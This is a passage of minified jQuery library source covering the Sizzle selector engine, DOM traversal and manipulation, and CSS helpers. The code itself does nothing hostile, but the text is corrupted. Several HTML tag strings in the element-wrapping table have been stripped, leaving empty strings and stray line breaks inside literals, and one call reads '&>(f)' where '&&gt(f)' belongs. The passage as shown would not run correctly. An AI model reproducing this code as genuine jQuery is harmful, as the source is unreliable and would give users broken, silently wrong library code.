n;return(e.ownerDocument||e)!==p&&c(e),d||(t=t.toLowerCase()),(n=i.attrHandle[t])?n(e):d||T.attributes?e.getAttribute(t):((n=e.getAttributeNode(t))||e.getAttribute(t))&&e[t]===!0?t:n&&n.specified?n.value:null},st.error=function(e){throw Error("Syntax error, unrecognized expression: "+e)},st.uniqueSort=function(e){var t,n=[],r=1,i=0;if(u=!T.detectDuplicates,e.sort(v),u){for(;t=e[r];r++)t===e[r-1]&&(i=n.push(r));while(i--)e.splice(n[i],1)}return e};function ut(e,t){var n=t&&e,r=n&&(~t.sourceIndex||j)-(~e.sourceIndex||j);if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function lt(e){return function(t){var n=t.nodeName.toLowerCase();return"input"===n&&t.type===e}}function ct(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function pt(e){return ot(function(t){return t=+t,ot(function(n,r){var i,o=e([],n.length,t),a=o.length;while(a--)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}o=st.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=o(e)}else if(3===i||4===i)return e.nodeValue}else for(;t=e[r];r++)n+=o(t);return n},i=st.selectors={cacheLength:50,createPseudo:ot,match:U,find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(et,tt),e[3]=(e[4]||e[5]||"").replace(et,tt),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||st.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&st.error(e[0]),e},PSEUDO:function(e){var t,n=!e[5]&&e[2];return U.CHILD.test(e[0])?null:(e[4]?e[2]=e[4]:n&&z.test(n)&&(t=ft(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){return"*"===e?function(){return!0}:(e=e.replace(et,tt).toLowerCase(),function(t){return t.nodeName&&t.nodeName.toLowerCase()===e})},CLASS:function(e){var t=k[e+" "];return t||(t=RegExp("(^|"+_+")"+e+"("+_+"|$)"))&&k(e,function(e){return t.test(e.className||typeof e.getAttribute!==A&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r){var i=st.attr(r,e);return null==i?"!="===t:t?(i+="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" "+i+" ").indexOf(n)>-1:"|="===t?i===n||i.slice(0,n.length+1)===n+"-":!1):!0}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,u){var l,c,p,f,d,h,g=o!==a?"nextSibling":"previousSibling",m=t.parentNode,y=s&&t.nodeName.toLowerCase(),v=!u&&!s;if(m){if(o){while(g){p=t;while(p=p[g])if(s?p.nodeName.toLowerCase()===y:1===p.nodeType)return!1;h=g="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?m.firstChild:m.lastChild],a&&v){c=m[x]||(m[x]={}),l=c[e]||[],d=l[0]===N&&l[1],f=l[0]===N&&l[2],p=d&&m.childNodes[d];while(p=++d&&p&&p[g]||(f=d=0)||h.pop())if(1===p.nodeType&&++f&&p===t){c[e]=[N,d,f];break}}else if(v&&(l=(t[x]||(t[x]={}))[e])&&l[0]===N)f=l[1];else while(p=++d&&p&&p[g]||(f=d=0)||h.pop())if((s?p.nodeName.toLowerCase()===y:1===p.nodeType)&&++f&&(v&&((p[x]||(p[x]={}))[e]=[N,f]),p===t))break;return f-=i,f===r||0===f%r&&f/r>=0}}},PSEUDO:function(e,t){var n,r=i.pseudos[e]||i.setFilters[e.toLowerCase()]||st.error("unsupported pseudo: "+e);return r[x]?r(t):r.length>1?(n=[e,e,"",t],i.setFilters.hasOwnProperty(e.toLowerCase())?ot(function(e,n){var i,o=r(e,t),a=o.length;while(a--)i=M.call(e,o[a]),e[i]=!(n[i]=o[a])}):function(e){return r(e,0,n)}):r}},pseudos:{not:ot(function(e){var t=[],n=[],r=s(e.replace(W,"$1"));return r[x]?ot(function(e,t,n,i){var o,a=r(e,null,i,[]),s=e.length;while(s--)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,i,o){return t[0]=e,r(t,null,o,n),!n.pop()}}),has:ot(function(e){return function(t){return st(e,t).length>0}}),contains:ot(function(e){return function(t){return(t.textContent||t.innerText||o(t)).indexOf(e)>-1}}),lang:ot(function(e){return X.test(e||"")||st.error("unsupported lang: "+e),e=e.replace(et,tt).toLowerCase(),function(t){var n;do if(n=d?t.getAttribute("xml:lang")||t.getAttribute("lang"):t.lang)return n=n.toLowerCase(),n===e||0===n.indexOf(e+"-");while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===f},focus:function(e){return e===p.activeElement&&(!p.hasFocus||p.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeName>"@"||3===e.nodeType||4===e.nodeType)return!1;return!0},parent:function(e){return!i.pseudos.empty(e)},header:function(e){return Q.test(e.nodeName)},input:function(e){return G.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||t.toLowerCase()===e.type)},first:pt(function(){return[0]}),last:pt(function(e,t){return[t-1]}),eq:pt(function(e,t,n){return[0>n?n+t:n]}),even:pt(function(e,t){var n=0;for(;t>n;n+=2)e.push(n);return e}),odd:pt(function(e,t){var n=1;for(;t>n;n+=2)e.push(n);return e}),lt:pt(function(e,t,n){var r=0>n?n+t:n;for(;--r>=0;)e.push(r);return e}),gt:pt(function(e,t,n){var r=0>n?n+t:n;for(;t>++r;)e.push(r);return e})}};for(n in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})i.pseudos[n]=lt(n);for(n in{submit:!0,reset:!0})i.pseudos[n]=ct(n);function ft(e,t){var n,r,o,a,s,u,l,c=E[e+" "];if(c)return t?0:c.slice(0);s=e,u=[],l=i.preFilter;while(s){(!n||(r=$.exec(s)))&&(r&&(s=s.slice(r[0].length)||s),u.push(o=[])),n=!1,(r=I.exec(s))&&(n=r.shift(),o.push({value:n,type:r[0].replace(W," ")}),s=s.slice(n.length));for(a in i.filter)!(r=U[a].exec(s))||l[a]&&!(r=l[a](r))||(n=r.shift(),o.push({value:n,type:a,matches:r}),s=s.slice(n.length));if(!n)break}return t?s.length:s?st.error(e):E(e,u).slice(0)}function dt(e){var t=0,n=e.length,r="";for(;n>t;t++)r+=e[t].value;return r}function ht(e,t,n){var i=t.dir,o=n&&"parentNode"===i,a=C++;return t.first?function(t,n,r){while(t=t[i])if(1===t.nodeType||o)return e(t,n,r)}:function(t,n,s){var u,l,c,p=N+" "+a;if(s){while(t=t[i])if((1===t.nodeType||o)&&e(t,n,s))return!0}else while(t=t[i])if(1===t.nodeType||o)if(c=t[x]||(t[x]={}),(l=c[i])&&l[0]===p){if((u=l[1])===!0||u===r)return u===!0}else if(l=c[i]=[p],l[1]=e(t,n,s)||r,l[1]===!0)return!0}}function gt(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function mt(e,t,n,r,i){var o,a=[],s=0,u=e.length,l=null!=t;for(;u>s;s++)(o=e[s])&&(!n||n(o,r,i))&&(a.push(o),l&&t.push(s));return a}function yt(e,t,n,r,i,o){return r&&!r[x]&&(r=yt(r)),i&&!i[x]&&(i=yt(i,o)),ot(function(o,a,s,u){var l,c,p,f=[],d=[],h=a.length,g=o||xt(t||"*",s.nodeType?[s]:s,[]),m=!e||!o&&t?g:mt(g,f,e,s,u),y=n?i||(o?e:h||r)?[]:a:m;if(n&&n(m,y,s,u),r){l=mt(y,d),r(l,[],s,u),c=l.length;while(c--)(p=l[c])&&(y[d[c]]=!(m[d[c]]=p))}if(o){if(i||e){if(i){l=[],c=y.length;while(c--)(p=y[c])&&l.push(m[c]=p);i(null,y=[],l,u)}c=y.length;while(c--)(p=y[c])&&(l=i?M.call(o,p):f[c])>-1&&(o[l]=!(a[l]=p))}}else y=mt(y===a?y.splice(h,y.length):y),i?i(null,a,y,u):H.apply(a,y)})}function vt(e){var t,n,r,o=e.length,a=i.relative[e[0].type],s=a||i.relative[" "],u=a?1:0,c=ht(function(e){return e===t},s,!0),p=ht(function(e){return M.call(t,e)>-1},s,!0),f=[function(e,n,r){return!a&&(r||n!==l)||((t=n).nodeType?c(e,n,r):p(e,n,r))}];for(;o>u;u++)if(n=i.relative[e[u].type])f=[ht(gt(f),n)];else{if(n=i.filter[e[u].type].apply(null,e[u].matches),n[x]){for(r=++u;o>r;r++)if(i.relative[e[r].type])break;return yt(u>1&>(f),u>1&&dt(e.slice(0,u-1)).replace(W,"$1"),n,r>u&&vt(e.slice(u,r)),o>r&&vt(e=e.slice(r)),o>r&&dt(e))}f.push(n)}return gt(f)}function bt(e,t){var n=0,o=t.length>0,a=e.length>0,s=function(s,u,c,f,d){var h,g,m,y=[],v=0,b="0",x=s&&[],w=null!=d,T=l,C=s||a&&i.find.TAG("*",d&&u.parentNode||u),k=N+=null==T?1:Math.random()||.1;for(w&&(l=u!==p&&u,r=n);null!=(h=C[b]);b++){if(a&&h){g=0;while(m=e[g++])if(m(h,u,c)){f.push(h);break}w&&(N=k,r=++n)}o&&((h=!m&&h)&&v--,s&&x.push(h))}if(v+=b,o&&b!==v){g=0;while(m=t[g++])m(x,y,u,c);if(s){if(v>0)while(b--)x[b]||y[b]||(y[b]=L.call(f));y=mt(y)}H.apply(f,y),w&&!s&&y.length>0&&v+t.length>1&&st.uniqueSort(f)}return w&&(N=k,l=T),x};return o?ot(s):s}s=st.compile=function(e,t){var n,r=[],i=[],o=S[e+" "];if(!o){t||(t=ft(e)),n=t.length;while(n--)o=vt(t[n]),o[x]?r.push(o):i.push(o);o=S(e,bt(i,r))}return o};function xt(e,t,n){var r=0,i=t.length;for(;i>r;r++)st(e,t[r],n);return n}function wt(e,t,n,r){var o,a,u,l,c,p=ft(e);if(!r&&1===p.length){if(a=p[0]=p[0].slice(0),a.length>2&&"ID"===(u=a[0]).type&&9===t.nodeType&&!d&&i.relative[a[1].type]){if(t=i.find.ID(u.matches[0].replace(et,tt),t)[0],!t)return n;e=e.slice(a.shift().value.length)}o=U.needsContext.test(e)?0:a.length;while(o--){if(u=a[o],i.relative[l=u.type])break;if((c=i.find[l])&&(r=c(u.matches[0].replace(et,tt),V.test(a[0].type)&&t.parentNode||t))){if(a.splice(o,1),e=r.length&&dt(a),!e)return H.apply(n,q.call(r,0)),n;break}}}return s(e,p)(r,t,d,n,V.test(e)),n}i.pseudos.nth=i.pseudos.eq;function Tt(){}i.filters=Tt.prototype=i.pseudos,i.setFilters=new Tt,c(),st.attr=b.attr,b.find=st,b.expr=st.selectors,b.expr[":"]=b.expr.pseudos,b.unique=st.uniqueSort,b.text=st.getText,b.isXMLDoc=st.isXML,b.contains=st.contains}(e);var at=/Until$/,st=/^(?:parents|prev(?:Until|All))/,ut=/^.[^:#\[\.,]*$/,lt=b.expr.match.needsContext,ct={children:!0,contents:!0,next:!0,prev:!0};b.fn.extend({find:function(e){var t,n,r,i=this.length;if("string"!=typeof e)return r=this,this.pushStack(b(e).filter(function(){for(t=0;i>t;t++)if(b.contains(r[t],this))return!0}));for(n=[],t=0;i>t;t++)b.find(e,this[t],n);return n=this.pushStack(i>1?b.unique(n):n),n.selector=(this.selector?this.selector+" ":"")+e,n},has:function(e){var t,n=b(e,this),r=n.length;return this.filter(function(){for(t=0;r>t;t++)if(b.contains(this,n[t]))return!0})},not:function(e){return this.pushStack(ft(this,e,!1))},filter:function(e){return this.pushStack(ft(this,e,!0))},is:function(e){return!!e&&("string"==typeof e?lt.test(e)?b(e,this.context).index(this[0])>=0:b.filter(e,this).length>0:this.filter(e).length>0)},closest:function(e,t){var n,r=0,i=this.length,o=[],a=lt.test(e)||"string"!=typeof e?b(e,t||this.context):0;for(;i>r;r++){n=this[r];while(n&&n.ownerDocument&&n!==t&&11!==n.nodeType){if(a?a.index(n)>-1:b.find.matchesSelector(n,e)){o.push(n);break}n=n.parentNode}}return this.pushStack(o.length>1?b.unique(o):o)},index:function(e){return e?"string"==typeof e?b.inArray(this[0],b(e)):b.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){var n="string"==typeof e?b(e,t):b.makeArray(e&&e.nodeType?[e]:e),r=b.merge(this.get(),n);return this.pushStack(b.unique(r))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),b.fn.andSelf=b.fn.addBack;function pt(e,t){do e=e[t];while(e&&1!==e.nodeType);return e}b.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return b.dir(e,"parentNode")},parentsUntil:function(e,t,n){return b.dir(e,"parentNode",n)},next:function(e){return pt(e,"nextSibling")},prev:function(e){return pt(e,"previousSibling")},nextAll:function(e){return b.dir(e,"nextSibling")},prevAll:function(e){return b.dir(e,"previousSibling")},nextUntil:function(e,t,n){return b.dir(e,"nextSibling",n)},prevUntil:function(e,t,n){return b.dir(e,"previousSibling",n)},siblings:function(e){return b.sibling((e.parentNode||{}).firstChild,e)},children:function(e){return b.sibling(e.firstChild)},contents:function(e){return b.nodeName(e,"iframe")?e.contentDocument||e.contentWindow.document:b.merge([],e.childNodes)}},function(e,t){b.fn[e]=function(n,r){var i=b.map(this,t,n);return at.test(e)||(r=n),r&&"string"==typeof r&&(i=b.filter(r,i)),i=this.length>1&&!ct[e]?b.unique(i):i,this.length>1&&st.test(e)&&(i=i.reverse()),this.pushStack(i)}}),b.extend({filter:function(e,t,n){return n&&(e=":not("+e+")"),1===t.length?b.find.matchesSelector(t[0],e)?[t[0]]:[]:b.find.matches(e,t)},dir:function(e,n,r){var i=[],o=e[n];while(o&&9!==o.nodeType&&(r===t||1!==o.nodeType||!b(o).is(r)))1===o.nodeType&&i.push(o),o=o[n];return i},sibling:function(e,t){var n=[];for(;e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n}});function ft(e,t,n){if(t=t||0,b.isFunction(t))return b.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return b.grep(e,function(e){return e===t===n});if("string"==typeof t){var r=b.grep(e,function(e){return 1===e.nodeType});if(ut.test(t))return b.filter(t,r,!n);t=b.filter(t,r)}return b.grep(e,function(e){return b.inArray(e,t)>=0===n})}function dt(e){var t=ht.split("|"),n=e.createDocumentFragment();if(n.createElement)while(t.length)n.createElement(t.pop());return n}var ht="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",gt=/ jQuery\d+="(?:null|\d+)"/g,mt=RegExp("<(?:"+ht+")[\\s/>]","i"),yt=/^\s+/,vt=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,bt=/<([\w:]+)/,xt=/\s*$/g,At={option:[1,""],legend:[1,"
","
"],area:[1,"",""],param:[1,"",""],thead:[1,"","
"],tr:[2,"","
"],col:[2,"","
"],td:[3,"","
"],_default:b.support.htmlSerialize?[0,"",""]:[1,"X
","
"]},jt=dt(o),Dt=jt.appendChild(o.createElement("div"));At.optgroup=At.option,At.tbody=At.tfoot=At.colgroup=At.caption=At.thead,At.th=At.td,b.fn.extend({text:function(e){return b.access(this,function(e){return e===t?b.text(this):this.empty().append((this[0]&&this[0].ownerDocument||o).createTextNode(e))},null,e,arguments.length)},wrapAll:function(e){if(b.isFunction(e))return this.each(function(t){b(this).wrapAll(e.call(this,t))});if(this[0]){var t=b(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstChild&&1===e.firstChild.nodeType)e=e.firstChild;return e}).append(this)}return this},wrapInner:function(e){return b.isFunction(e)?this.each(function(t){b(this).wrapInner(e.call(this,t))}):this.each(function(){var t=b(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=b.isFunction(e);return this.each(function(n){b(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){b.nodeName(this,"body")||b(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(e){(1===this.nodeType||11===this.nodeType||9===this.nodeType)&&this.appendChild(e)})},prepend:function(){return this.domManip(arguments,!0,function(e){(1===this.nodeType||11===this.nodeType||9===this.nodeType)&&this.insertBefore(e,this.firstChild)})},before:function(){return this.domManip(arguments,!1,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return this.domManip(arguments,!1,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},remove:function(e,t){var n,r=0;for(;null!=(n=this[r]);r++)(!e||b.filter(e,[n]).length>0)&&(t||1!==n.nodeType||b.cleanData(Ot(n)),n.parentNode&&(t&&b.contains(n.ownerDocument,n)&&Mt(Ot(n,"script")),n.parentNode.removeChild(n)));return this},empty:function(){var e,t=0;for(;null!=(e=this[t]);t++){1===e.nodeType&&b.cleanData(Ot(e,!1));while(e.firstChild)e.removeChild(e.firstChild);e.options&&b.nodeName(e,"select")&&(e.options.length=0)}return this},clone:function(e,t){return e=null==e?!1:e,t=null==t?e:t,this.map(function(){return b.clone(this,e,t)})},html:function(e){return b.access(this,function(e){var n=this[0]||{},r=0,i=this.length;if(e===t)return 1===n.nodeType?n.innerHTML.replace(gt,""):t;if(!("string"!=typeof e||Tt.test(e)||!b.support.htmlSerialize&&mt.test(e)||!b.support.leadingWhitespace&&yt.test(e)||At[(bt.exec(e)||["",""])[1].toLowerCase()])){e=e.replace(vt,"<$1>");try{for(;i>r;r++)n=this[r]||{},1===n.nodeType&&(b.cleanData(Ot(n,!1)),n.innerHTML=e);n=0}catch(o){}}n&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(e){var t=b.isFunction(e);return t||"string"==typeof e||(e=b(e).not(this).detach()),this.domManip([e],!0,function(e){var t=this.nextSibling,n=this.parentNode;n&&(b(this).remove(),n.insertBefore(e,t))})},detach:function(e){return this.remove(e,!0)},domManip:function(e,n,r){e=f.apply([],e);var i,o,a,s,u,l,c=0,p=this.length,d=this,h=p-1,g=e[0],m=b.isFunction(g);if(m||!(1>=p||"string"!=typeof g||b.support.checkClone)&&Ct.test(g))return this.each(function(i){var o=d.eq(i);m&&(e[0]=g.call(this,i,n?o.html():t)),o.domManip(e,n,r)});if(p&&(l=b.buildFragment(e,this[0].ownerDocument,!1,this),i=l.firstChild,1===l.childNodes.length&&(l=i),i)){for(n=n&&b.nodeName(i,"tr"),s=b.map(Ot(l,"script"),Ht),a=s.length;p>c;c++)o=l,c!==h&&(o=b.clone(o,!0,!0),a&&b.merge(s,Ot(o,"script"))),r.call(n&&b.nodeName(this[c],"table")?Lt(this[c],"tbody"):this[c],o,c);if(a)for(u=s[s.length-1].ownerDocument,b.map(s,qt),c=0;a>c;c++)o=s[c],kt.test(o.type||"")&&!b._data(o,"globalEval")&&b.contains(u,o)&&(o.src?b.ajax({url:o.src,type:"GET",dataType:"script",async:!1,global:!1,"throws":!0}):b.globalEval((o.text||o.textContent||o.innerHTML||"").replace(St,"")));l=i=null}return this}});function Lt(e,t){return e.getElementsByTagName(t)[0]||e.appendChild(e.ownerDocument.createElement(t))}function Ht(e){var t=e.getAttributeNode("type");return e.type=(t&&t.specified)+"/"+e.type,e}function qt(e){var t=Et.exec(e.type);return t?e.type=t[1]:e.removeAttribute("type"),e}function Mt(e,t){var n,r=0;for(;null!=(n=e[r]);r++)b._data(n,"globalEval",!t||b._data(t[r],"globalEval"))}function _t(e,t){if(1===t.nodeType&&b.hasData(e)){var n,r,i,o=b._data(e),a=b._data(t,o),s=o.events;if(s){delete a.handle,a.events={};for(n in s)for(r=0,i=s[n].length;i>r;r++)b.event.add(t,n,s[n][r])}a.data&&(a.data=b.extend({},a.data))}}function Ft(e,t){var n,r,i;if(1===t.nodeType){if(n=t.nodeName.toLowerCase(),!b.support.noCloneEvent&&t[b.expando]){i=b._data(t);for(r in i.events)b.removeEvent(t,r,i.handle);t.removeAttribute(b.expando)}"script"===n&&t.text!==e.text?(Ht(t).text=e.text,qt(t)):"object"===n?(t.parentNode&&(t.outerHTML=e.outerHTML),b.support.html5Clone&&e.innerHTML&&!b.trim(t.innerHTML)&&(t.innerHTML=e.innerHTML)):"input"===n&&Nt.test(e.type)?(t.defaultChecked=t.checked=e.checked,t.value!==e.value&&(t.value=e.value)):"option"===n?t.defaultSelected=t.selected=e.defaultSelected:("input"===n||"textarea"===n)&&(t.defaultValue=e.defaultValue)}}b.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){b.fn[e]=function(e){var n,r=0,i=[],o=b(e),a=o.length-1;for(;a>=r;r++)n=r===a?this:this.clone(!0),b(o[r])[t](n),d.apply(i,n.get());return this.pushStack(i)}});function Ot(e,n){var r,o,a=0,s=typeof e.getElementsByTagName!==i?e.getElementsByTagName(n||"*"):typeof e.querySelectorAll!==i?e.querySelectorAll(n||"*"):t;if(!s)for(s=[],r=e.childNodes||e;null!=(o=r[a]);a++)!n||b.nodeName(o,n)?s.push(o):b.merge(s,Ot(o,n));return n===t||n&&b.nodeName(e,n)?b.merge([e],s):s}function Bt(e){Nt.test(e.type)&&(e.defaultChecked=e.checked)}b.extend({clone:function(e,t,n){var r,i,o,a,s,u=b.contains(e.ownerDocument,e);if(b.support.html5Clone||b.isXMLDoc(e)||!mt.test("<"+e.nodeName+">")?o=e.cloneNode(!0):(Dt.innerHTML=e.outerHTML,Dt.removeChild(o=Dt.firstChild)),!(b.support.noCloneEvent&&b.support.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||b.isXMLDoc(e)))for(r=Ot(o),s=Ot(e),a=0;null!=(i=s[a]);++a)r[a]&&Ft(i,r[a]);if(t)if(n)for(s=s||Ot(e),r=r||Ot(o),a=0;null!=(i=s[a]);a++)_t(i,r[a]);else _t(e,o);return r=Ot(o,"script"),r.length>0&&Mt(r,!u&&Ot(e,"script")),r=s=i=null,o},buildFragment:function(e,t,n,r){var i,o,a,s,u,l,c,p=e.length,f=dt(t),d=[],h=0;for(;p>h;h++)if(o=e[h],o||0===o)if("object"===b.type(o))b.merge(d,o.nodeType?[o]:o);else if(wt.test(o)){s=s||f.appendChild(t.createElement("div")),u=(bt.exec(o)||["",""])[1].toLowerCase(),c=At[u]||At._default,s.innerHTML=c[1]+o.replace(vt,"<$1>")+c[2],i=c[0];while(i--)s=s.lastChild;if(!b.support.leadingWhitespace&&yt.test(o)&&d.push(t.createTextNode(yt.exec(o)[0])),!b.support.tbody){o="table"!==u||xt.test(o)?""!==c[1]||xt.test(o)?0:s:s.firstChild,i=o&&o.childNodes.length;while(i--)b.nodeName(l=o.childNodes[i],"tbody")&&!l.childNodes.length&&o.removeChild(l) +}b.merge(d,s.childNodes),s.textContent="";while(s.firstChild)s.removeChild(s.firstChild);s=f.lastChild}else d.push(t.createTextNode(o));s&&f.removeChild(s),b.support.appendChecked||b.grep(Ot(d,"input"),Bt),h=0;while(o=d[h++])if((!r||-1===b.inArray(o,r))&&(a=b.contains(o.ownerDocument,o),s=Ot(f.appendChild(o),"script"),a&&Mt(s),n)){i=0;while(o=s[i++])kt.test(o.type||"")&&n.push(o)}return s=null,f},cleanData:function(e,t){var n,r,o,a,s=0,u=b.expando,l=b.cache,p=b.support.deleteExpando,f=b.event.special;for(;null!=(n=e[s]);s++)if((t||b.acceptData(n))&&(o=n[u],a=o&&l[o])){if(a.events)for(r in a.events)f[r]?b.event.remove(n,r):b.removeEvent(n,r,a.handle);l[o]&&(delete l[o],p?delete n[u]:typeof n.removeAttribute!==i?n.removeAttribute(u):n[u]=null,c.push(o))}}});var Pt,Rt,Wt,$t=/alpha\([^)]*\)/i,It=/opacity\s*=\s*([^)]*)/,zt=/^(top|right|bottom|left)$/,Xt=/^(none|table(?!-c[ea]).+)/,Ut=/^margin/,Vt=RegExp("^("+x+")(.*)$","i"),Yt=RegExp("^("+x+")(?!px)[a-z%]+$","i"),Jt=RegExp("^([+-])=("+x+")","i"),Gt={BODY:"block"},Qt={position:"absolute",visibility:"hidden",display:"block"},Kt={letterSpacing:0,fontWeight:400},Zt=["Top","Right","Bottom","Left"],en=["Webkit","O","Moz","ms"];function tn(e,t){if(t in e)return t;var n=t.charAt(0).toUpperCase()+t.slice(1),r=t,i=en.length;while(i--)if(t=en[i]+n,t in e)return t;return r}function nn(e,t){return e=t||e,"none"===b.css(e,"display")||!b.contains(e.ownerDocument,e)}function rn(e,t){var n,r,i,o=[],a=0,s=e.length;for(;s>a;a++)r=e[a],r.style&&(o[a]=b._data(r,"olddisplay"),n=r.style.display,t?(o[a]||"none"!==n||(r.style.display=""),""===r.style.display&&nn(r)&&(o[a]=b._data(r,"olddisplay",un(r.nodeName)))):o[a]||(i=nn(r),(n&&"none"!==n||!i)&&b._data(r,"olddisplay",i?n:b.css(r,"display"))));for(a=0;s>a;a++)r=e[a],r.style&&(t&&"none"!==r.style.display&&""!==r.style.display||(r.style.display=t?o[a]||"":"none"));return e}b.fn.extend({css:function(e,n){return b.access(this,function(e,n,r){var i,o,a={},s=0;if(b.isArray(n)){for(o=Rt(e),i=n.length;i>s;s++)a[n[s]]=b.css(e,n[s],!1,o);return a}return r!==t?b.style(e,n,r):b.css(e,n)},e,n,arguments.length>1)},show:function(){return rn(this,!0)},hide:function(){return rn(this)},toggle:function(e){var t="boolean"==typeof e;return this.each(function(){(t?e:nn(this))?b(this).show():b(this).hide()})}}),b.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Wt(e,"opacity");return""===n?"1":n}}}},cssNumber:{columnCount:!0,fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":b.support.cssFloat?"cssFloat":"styleFloat"},style:function(e,n,r,i){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var o,a,s,u=b.camelCase(n),l=e.style;if(n=b.cssProps[u]||(b.cssProps[u]=tn(l,u)),s=b.cssHooks[n]||b.cssHooks[u],r===t)return s&&"get"in s&&(o=s.get(e,!1,i))!==t?o:l[n];if(a=typeof r,"string"===a&&(o=Jt.exec(r))&&(r=(o[1]+1)*o[2]+parseFloat(b.css(e,n)),a="number"),!(null==r||"number"===a&&isNaN(r)||("number"!==a||b.cssNumber[u]||(r+="px"),b.support.clearCloneStyle||""!==r||0!==n.indexOf("background")||(l[n]="inherit"),s&&"set"in s&&(r=s.set(e,r,i))===t)))try{l[n]=r}catch(c){}}},css:function(e,n,r,i){var o,a,s,u=b.camelCase(n);return n=b.cssProps[u]||(b.cssProps[u]=tn(e.style,u)),s=b.cssHooks[n]||b.cssHooks[u],s&&"get"in s&&(a=s.get(e,!0,r)),a===t&&(a=Wt(e,n,i)),"normal"===a&&n in Kt&&(a=Kt[n]),""===r||r?(o=parseFloat(a),r===!0||b.isNumeric(o)?o||0:a):a},swap:function(e,t,n,r){var i,o,a={};for(o in t)a[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=a[o];return i}}),e.getComputedStyle?(Rt=function(t){return e.getComputedStyle(t,null)},Wt=function(e,n,r){var i,o,a,s=r||Rt(e),u=s?s.getPropertyValue(n)||s[n]:t,l=e.style;return s&&(""!==u||b.contains(e.ownerDocument,e)||(u=b.style(e,n)),Yt.test(u)&&Ut.test(n)&&(i=l.width,o=l.minWidth,a=l.maxWidth,l.minWidth=l.maxWidth=l.width=u,u=s.width,l.width=i,l.minWidth=o,l.maxWidth=a)),u}):o.documentElement.currentStyle&&(Rt=function(e){return e.currentStyle},Wt=function(e,n,r){var i,o,a,s=r||Rt(e),u=s?s[n]:t,l=e.style;return null==u&&l&&l[n]&&(u=l[n]),Yt.test(u)&&!zt.test(n)&&(i=l.left,o=e.runtimeStyle,a=o&&o.left,a&&(o.left=e.currentStyle.left),l.left="fontSize"===n?"1em":u,u=l.pixelLeft+"px",l.left=i,a&&(o.left=a)),""===u?"auto":u});function on(e,t,n){var r=Vt.exec(t);return r?Math.max(0,r[1]-(n||0))+(r[2]||"px"):t}function an(e,t,n,r,i){var 